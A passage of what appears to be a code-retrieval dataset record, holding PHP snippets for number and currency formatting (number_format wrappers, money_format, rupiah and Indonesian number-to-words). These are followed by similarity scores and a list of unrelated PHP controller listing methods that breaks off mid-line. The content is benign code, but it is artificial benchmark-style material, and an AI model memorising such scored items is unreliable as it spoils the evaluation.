$num=0;\n\t\tfor($i=$cantidad;$i>0;$i--){\n\t\t\tif($num>=3){\n\t\t\t\t$num=0;\n\t\t\t\t$nuevo.=\".\";\n\t\t\t}\n\t\t\t$nuevo.=$variable_cadena[$i-1];\n\t\t\t$num++;\n\t\t}\n\t\t$temp=\"\";\n\t\tfor($i=strlen($nuevo);$i>=0;$i--){\n\t\t\t$temp.=$nuevo[$i];\n\t\t}\n\t\t\n\t\treturn $temp; \n\t}", "function format($value);", "function money_format($format, $number)\n{\n $regex = '/%((?:[\\^!\\-]|\\+|\\(|\\=.)*)([0-9]+)?'.\n '(?:#([0-9]+))?(?:\\.([0-9]+))?([in%])/';\n if (setlocale(LC_MONETARY, 0) == 'C') {\n setlocale(LC_MONETARY, '');\n }\n $locale = localeconv();\n preg_match_all($regex, $format, $matches, PREG_SET_ORDER);\n foreach ($matches as $fmatch) {\n $value = floatval($number);\n $flags = array(\n 'fillchar' => preg_match('/\\=(.)/', $fmatch[1], $match) ?\n $match[1] : ' ',\n 'nogroup' => preg_match('/\\^/', $fmatch[1]) > 0,\n 'usesignal' => preg_match('/\\+|\\(/', $fmatch[1], $match) ?\n $match[0] : '+',\n 'nosimbol' => preg_match('/\\!/', $fmatch[1]) > 0,\n 'isleft' => preg_match('/\\-/', $fmatch[1]) > 0\n );\n $width = trim($fmatch[2]) ? (int)$fmatch[2] : 0;\n $left = trim($fmatch[3]) ? (int)$fmatch[3] : 0;\n $right = trim($fmatch[4]) ? (int)$fmatch[4] : $locale['int_frac_digits'];\n $conversion = $fmatch[5];\n\n $positive = true;\n if ($value < 0) {\n $positive = false;\n $value *= -1;\n }\n $letter = $positive ? 'p' : 'n';\n\n $prefix = $suffix = $cprefix = $csuffix = $signal = '';\n\n $signal = $positive ? $locale['positive_sign'] : $locale['negative_sign'];\n switch (true) {\n case $locale[\"{$letter}_sign_posn\"] == 1 && $flags['usesignal'] == '+':\n $prefix = $signal;\n break;\n case $locale[\"{$letter}_sign_posn\"] == 2 && $flags['usesignal'] == '+':\n $suffix = $signal;\n break;\n case $locale[\"{$letter}_sign_posn\"] == 3 && $flags['usesignal'] == '+':\n $cprefix = $signal;\n break;\n case $locale[\"{$letter}_sign_posn\"] == 4 && $flags['usesignal'] == '+':\n $csuffix = $signal;\n break;\n case $flags['usesignal'] == '(':\n case $locale[\"{$letter}_sign_posn\"] == 0:\n $prefix = '(';\n $suffix = ')';\n break;\n }\n if (!$flags['nosimbol']) {\n $currency = $cprefix .\n ($conversion == 'i' ? $locale['int_curr_symbol'] : $locale['currency_symbol']) .\n $csuffix;\n } else {\n $currency = '';\n }\n $space = $locale[\"{$letter}_sep_by_space\"] ? ' ' : '';\n\n $value = number_format($value, $right, $locale['mon_decimal_point'],\n $flags['nogroup'] ? '' : $locale['mon_thousands_sep']);\n $value = @explode($locale['mon_decimal_point'], $value);\n\n $n = strlen($prefix) + strlen($currency) + strlen($value[0]);\n if ($left > 0 && $left > $n) {\n $value[0] = str_repeat($flags['fillchar'], $left - $n) . $value[0];\n }\n $value = implode($locale['mon_decimal_point'], $value);\n if ($locale[\"{$letter}_cs_precedes\"]) {\n $value = $prefix . $currency . $space . $value . $suffix;\n } else {\n $value = $prefix . $value . $space . $currency . $suffix;\n }\n if ($width > 0) {\n $value = str_pad($value, $width, $flags['fillchar'], $flags['isleft'] ?\n STR_PAD_RIGHT : STR_PAD_LEFT);\n }\n\n $format = str_replace($fmatch[0], $value, $format);\n }\n return $format;\n}", "public function getFormat();", "public function getFormat();", "public function getFormat();", "public function getFormat();", "public function getFormat();", "public function getFormat();", "function recorrer($numeros) {\n $resultado = \"\";\n foreach ($numeros as $numero) {\n $resultado .= $numero . \"<br>\";\n }\n return $resultado;\n}", "function rp($angka)\n{\n\n $hasil_rupiah = \"Rp. \" . number_format($angka, 0, '', '.');\n return $hasil_rupiah;\n}", "static function formatearNumero($id, $numero) {\n if (is_null($numero))\n return null;\n\n list($cantDecimales, $sepadorMillar, $sepadorDecimal) = Monedas::formato($id);\n return (is_numeric($numero)) ? number_format($numero, $cantDecimales, $sepadorDecimal, $sepadorMillar) : null;\n }", "abstract public function getFormat();", "public function getFormat() {}", "public function getFormat() {}", "public function getFormat() {}", "function numberformat($qwe,$asd)\r\n{\r\n if($qwe==0)$zxc='0'; \r\n else{\r\n $zxc=number_format($qwe,$asd);\r\n }\r\n return $zxc;\r\n}", "public function getPrezzo() {\n return number_format((float)$this->prezzo, 2, ',', '');\n }", "public function cesta_sin_iva_formato(){\r\n\t\t\t$importe = $this->cesta_sin_iva();\r\n\t\t\t$formatter = new NumberFormatter('de_DE', NumberFormatter::CURRENCY);\r\n\t\t\treturn $formatter->formatCurrency($importe, 'EUR');\r\n\t\t}", "function primeiroDiaMes($data, $formato) {\r\n list($dia, $mes, $ano) = explode('/', $data);\r\n return date($formato, mktime(0, 0, 0, $mes, \"01\", $ano));\r\n /* if ($formato == \"1\") { //formato 1 = retorna dia/mes/ano\r\n return \"01/\".$mes.\"/\".$ano;\r\n } else { //formato 2 = retorna ano-mes-dia\r\n return $ano.\"-\".$mes.\"-01\";\r\n } */\r\n }", "function porcentaje($valor){\t\n $porcentaje = $valor *100;\n return number_format($porcentaje,0,',','.').' %';\n\n}", "function convertNum($x){\n\treturn number_format($x, 2, '.', ',');\n}", "function convertNum($x){\n\treturn number_format($x, 2, '.', ',');\n}", "public function getOutputFormat()\n {\n $formated = $this->formatTxt(0);\n $number = $this->formatTxt(0, array('display' => Zend_Currency::NO_SYMBOL));\n return str_replace($number, '%s', $formated);\n }", "public function testConvertToNumberFormat()\n {\n $test_data = array(\n array('2013-12-23 23:59:59', '20131223235959'),\n array('2013.12.23 23\"59\\'59', '20131223235959'),\n array('2013/12/23 23:59:59', '20131223235959'),\n );\n foreach ($test_data as $data) {\n $result = DateUtility::convertToNumberFormat($data[0]);\n $this->assertEquals($data[1], $result);\n }\n }", "public static function terbilang($no)\n {\n if (!is_numeric($no)) {\n return null;\n }\n\n $strNo = str_replace(',', '.', strval($no));\n $fraction = '0'.(false === ($pos = strpos($strNo, '.'))? '.0':substr($strNo, $pos));\n $no *= 1;\n $minus = 0 > $no;\n $cacah = ['nol','satu','dua','tiga','empat','lima','enam','tujuh','delapan','sembilan','sepuluh','sebelas'];\n\n $no = abs($no) - $fraction * 1;\n\n if ($no < 12) {\n $result = $cacah[$no];\n } elseif ($no < 20) {\n $result = $cacah[$no-10].' belas';\n } else if ($no < 100) {\n $mod = $no % 10;\n $mul = floor($no / 10);\n\n $result = $cacah[$mul].' puluh '.$cacah[$mod];\n } else if ($no < 1000) {\n $mod = $no % 100;\n $mul = floor($no / 100);\n\n $result = $cacah[$mul].' ratus '.self::terbilang($mod);\n } else if ($no < 100000) {\n $mod = $no % 1000;\n $mul = floor($no / 1000);\n\n $result = self::terbilang($mul).' ribu '.self::terbilang($mod);\n } else if ($no < 1000000000) {\n $mod = $no % 1000000;\n $mul = floor($no / 1000000);\n\n $result = self::terbilang($mul).' juta '.self::terbilang($mod);\n } else {\n return $no * ($minus?-1:1);\n }\n\n $result = ($minus?'minus ':'').str_replace([' nol','satu ','sejuta'], ['','se','satu juta'], $result);\n\n if ($fraction) {\n for ($i=2, $e=strlen($fraction), $ei=$e-1; $i < $e; $i++) {\n if (2 === $i) {\n if ($i === $ei && '0' === $fraction[$i]) {\n break;\n }\n $result .= ' koma';\n }\n $result .= ' '.$fraction[$i];\n }\n }\n\n return $result;\n }", "public function getFormat(): array;", "public function getValorPagoContratado(){\n\t\t$out = 'R$ '.number_format($_GET['valor'], 2,',','.').' ('.GExtenso::moeda(number_format(str_replace(\",\",\".\",str_replace(\".\",\"\",$_GET['valor'])),2,\"\",\"\")).')';\n\t\treturn $out;\n\t}", "function rupiah($data)\n{\n\t$num_format = number_format($data, 0,'','.');\n\treturn 'Rp '.$num_format;\n}", "function format_excel($num)\n{\n\t$num=number_format($num,2,'.',',');\n\treturn $num;\n}", "function Cantidades_decimales_justos($valor){\t\n\n\tif($valor==0){\n\t\treturn 0;\n\t}else{\n\t\treturn rtrim(number_format($valor,6,',','.'), ',0');\n\t}\n\t\n}", "function getStyle($opts)\n{\n $style = empty($opts['s']) ? '' : strtolower(substr($opts['s'], 0, 3));\n switch($style)\n {\n case 'pat':\n $style = NumberFormatter::PATTERN_DECIMAL;\n echo '::PATTERN_DECIMAL style requested' . PHP_EOL;\n break;\n\n case 'dec':\n $style = NumberFormatter::DECIMAL;\n echo '::DECIMAL style requested' . PHP_EOL;\n break;\n\n case 'cur':\n $style = NumberFormatter::CURRENCY;\n echo '::CURRENCY style requested' . PHP_EOL;\n break;\n\n case 'per':\n $style = NumberFormatter::PERCENT;\n echo '::PERCENT style requested' . PHP_EOL;\n break;\n\n case 'sci':\n $style = NumberFormatter::SCIENTIFIC;\n echo '::SCIENTIFIC style requested' . PHP_EOL;\n break;\n\n case 'spe':\n $style = NumberFormatter::SPELLOUT;\n echo '::SPELLOUT style requested' . PHP_EOL;\n break;\n\n case 'ord':\n $style = NumberFormatter::ORDINAL;\n echo '::ORDINAL style requested' . PHP_EOL;\n break;\n\n case 'dur':\n $style = NumberFormatter::DURATION;\n echo '::DURATION style requested' . PHP_EOL;\n break;\n\n case 'rul':\n $style = NumberFormatter::PATTERN_RULEBASED;\n echo '::PATTERN_RULEBASED style requested' . PHP_EOL;\n break;\n\n default:\n $style = NumberFormatter::DEFAULT_STYLE;\n echo '::DEFAULT_STYLE style requested' . PHP_EOL;\n }//end switch\n\n return $style;\n}", "public static function formatting_process() {}", "public function FormatNumber($numero, $numDecimales)\n {\n return number_format($numero, $numDecimales, '.', '');\n }", "function number_format( $price, $decimals = 2 ) {\n return number_format_i18n( floatval($price), $decimals );\n }", "function corrigeCeros( $segundos){\r\n if($segundos <= 9){\r\n\r\n return '0'.$segundos ;\r\n }else{\r\n return $segundos;\r\n }\r\n }", "function convert_number($number) \n{ \n if (($number < 0) || ($number > 999999999)) \n { \n echo \"Number is out of range\";\n } \n\n \t//$Gn = floor($number / 1000000); /* Millions (giga) */ \n //$number -= $Gn * 1000000; \n\n $Gn = floor($number / 100000); /* Lakhs (giga) */ \n $number -= $Gn * 100000; \n $kn = floor($number / 1000); /* Thousands (kilo) */ \n $number -= $kn * 1000; \n $Hn = floor($number / 100); /* Hundreds (hecto) */ \n $number -= $Hn * 100; \n $Dn = floor($number / 10); /* Tens (deca) */ \n $n = $number % 10; /* Ones */ \n\n $res = \"\"; \n\n /*if ($Gn) \n { \n $res .= convert_number($Gn) . \" Millions\"; \n } */\n\n\tif ($Gn) \n { \n $res .= convert_number($Gn) . \" Lakhs\"; \n } \n\n if ($kn) \n { \n $res .= (empty($res) ? \"\" : \" \") . \n convert_number($kn) . \" Thousand\"; \n } \n\n if ($Hn) \n { \n $res .= (empty($res) ? \"\" : \" \") . \n convert_number($Hn) . \" Hundred\"; \n } \n\n $ones = array(\"\", \"One\", \"Two\", \"Three\", \"Four\", \"Five\", \"Six\", \n \"Seven\", \"Eight\", \"Nine\", \"Ten\", \"Eleven\", \"Twelve\", \"Thirteen\", \n \"Fourteen\", \"Fifteen\", \"Sixteen\", \"Seventeen\", \"Eightteen\", \n \"Nineteen\"); \n $tens = array(\"\", \"\", \"Twenty\", \"Thirty\", \"Fourty\", \"Fifty\", \"Sixty\", \n \"Seventy\", \"Eigthy\", \"Ninety\"); \n\n if ($Dn || $n) \n { \n if (!empty($res)) \n { \n $res .= \" and \"; \n } \n\n if ($Dn < 2) \n { \n $res .= $ones[$Dn * 10 + $n]; \n } \n else \n { \n $res .= $tens[$Dn]; \n\n if ($n) \n { \n $res .= \"-\" . $ones[$n]; \n } \n } \n } \n\n if (empty($res)) \n { \n $res = \"zero\"; \n } \n\n return $res; \n}", "function getFormatNumericDecimal( $n, $p=2 )\n{\n // $r = round( $n, $p );\n $r = number_format($n, 2, '.', '');\n if( $r == '' or $r == 0 or $r == 0.00 )\n {\n $r = '0.00';\n }\n return $r;\n}", "function formatarCPF_CNPJ($campo, $formatado = true){\n\t\t$codigoLimpo = str_replace(\" \",\"\",$campo);\n\t\t$codigoLimpo = str_replace(\"-\",\"\",$campo);\t\t\n\t\t$codigoLimpo = str_replace(\".\",\"\",$campo);\t\t\n\t\t$codigoLimpo = str_replace(\"/\",\"\",$campo);\t\t\n\n\t\t// pega o tamanho da string menos os digitos verificadores\n\t\t$tamanho = (strlen($codigoLimpo) -2);\n\t\t//verifica se o tamanho do código informado é válido\n\t\tif ($tamanho != 6 && $tamanho != 9 && $tamanho != 10 && $tamanho != 12){\n\t\t\treturn false; \n\t\t}\n\t\tif ($formatado){ \n\t\t\tif ($tamanho == 9 ){\n\t\t\t\t$mascara = \"###.###.###-##\" ;\n\t\t\t}elseif($tamanho == 10){\n\t\t\t\t$mascara = \"###.###.###.###\";\n\t\t\t}elseif($tamanho == 12 ){\n\t\t\t\t$mascara = \"##.###.###/####-##\";\n\t\t\t}elseif($tamanho == 6 ){\n\t\t\t\t$mascara = \"#####-###\";\n\t\t\t}\n\t\t\t\n\t\t\t$indice = -1;\n\t\t\tfor ($i=0; $i < strlen($mascara); $i++) {\n\t\t\t\tif ($mascara[$i]=='#') $mascara[$i] = $codigoLimpo[++$indice];\n\t\t\t}\n\t\t\t//retorna o campo formatado\n\t\t\t$retorno = $mascara;\n\t \n\t\t}else{\n\t\t\t//se não quer formatado, retorna o campo limpo\n\t\t\t$retorno = $codigoLimpo;\n\t\t}\n\t \n\t\treturn $retorno;\n\t}", "function iu_format_number($input){\n\t$suffixes = array('', 'k', 'M', 'B');\n\t$suffixIndex = 0;\n\n\twhile(abs($input) >= 1000 && $suffixIndex < sizeof($suffixes)){\n\t\t$suffixIndex++;\n\t\t$input /= 1000;\n\t}\n\treturn round(floatval($input / pow(10, 0)),1).$suffixes[$suffixIndex];\n}", "function formatAmountSimply($v,$t=1){\n return number_format($v,2,'.',',');\n}" ]
[ "0.6625482", "0.6444627", "0.6358628", "0.63574463", "0.635471", "0.6341763", "0.6262789", "0.62589103", "0.6202088", "0.61682343", "0.61603755", "0.6126979", "0.61212695", "0.611973", "0.61073154", "0.610305", "0.60902756", "0.6090158", "0.608609", "0.60354096", "0.60145277", "0.59979224", "0.5951663", "0.59145993", "0.59114116", "0.5874322", "0.5865414", "0.5843389", "0.5841805", "0.58316165", "0.5830892", "0.582232", "0.5822309", "0.5816117", "0.5806434", "0.57865226", "0.57733214", "0.5772964", "0.5765351", "0.5745191", "0.57371676", "0.57278657", "0.57271063", "0.5712229", "0.56987965", "0.5674981", "0.5673831", "0.56615365", "0.5634271", "0.56238973", "0.562186", "0.56098825", "0.55971587", "0.5594389", "0.55894715", "0.55887353", "0.55868584", "0.5586327", "0.55319333", "0.55234486", "0.551904", "0.5510065", "0.5509222", "0.55013245", "0.55013245", "0.55013245", "0.55013245", "0.55013245", "0.55013245", "0.5499388", "0.5479135", "0.5467816", "0.5467667", "0.54657006", "0.54657006", "0.54657006", "0.5461156", "0.5459202", "0.54505265", "0.5444", "0.54348385", "0.543197", "0.543197", "0.5415709", "0.54004806", "0.53989214", "0.5394294", "0.53833807", "0.5381036", "0.53767395", "0.5368855", "0.53661615", "0.536096", "0.5358212", "0.5351486", "0.53495234", "0.53475535", "0.53451395", "0.53245753", "0.53236055", "0.5321275" ]
0.0
-1
Display a listing of the resource.
public function index() { $transfers = Transfer::paginate(10); return view('backend.transfers.transfers_list', compact('transfers')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "public function listing();", "function index() {\n\t\t$this->show_list();\n\t}", "public function actionList() {\n $this->_getList();\n }", "public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }", "public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }", "public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }", "function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}", "public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }", "public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }", "public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}", "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }", "public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}", "public function actionRestList() {\n\t $this->doRestList();\n\t}", "public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}", "public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }", "public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }", "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}", "public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}", "public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }", "public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }", "public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }", "public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}", "public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }", "public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}", "public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }", "public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }", "public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = \"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }", "public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}", "public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }", "public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }", "public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }", "public function index()\n {\n return Resources::collection(Checking::paginate());\n }", "public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }", "public function index()\n {\n $cars = Car::paginate(15);\n return CarResource::collection($cars);\n }", "public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }", "public function index()\n {\n $authors = Author::paginate(10);\n\n return AuthorResource::collection($authors);\n }", "public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }", "public function view(){\n\t\t$this->buildListing();\n\t}", "public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }", "public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }", "public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }", "public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }", "public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }", "public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }", "public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }", "public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }", "public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }", "public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}", "public function listAction() {}", "public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }", "public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }", "public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }", "public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }", "public function executeList()\n {\n $this->setTemplate('list');\n }", "public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }", "function listing() {\r\n\r\n }", "public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }", "public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }", "public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}", "public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }", "public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }", "public function _index(){\n\t $this->_list();\n\t}", "public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}", "function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}", "public function index()\n {\n $this->booklist();\n }", "public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return 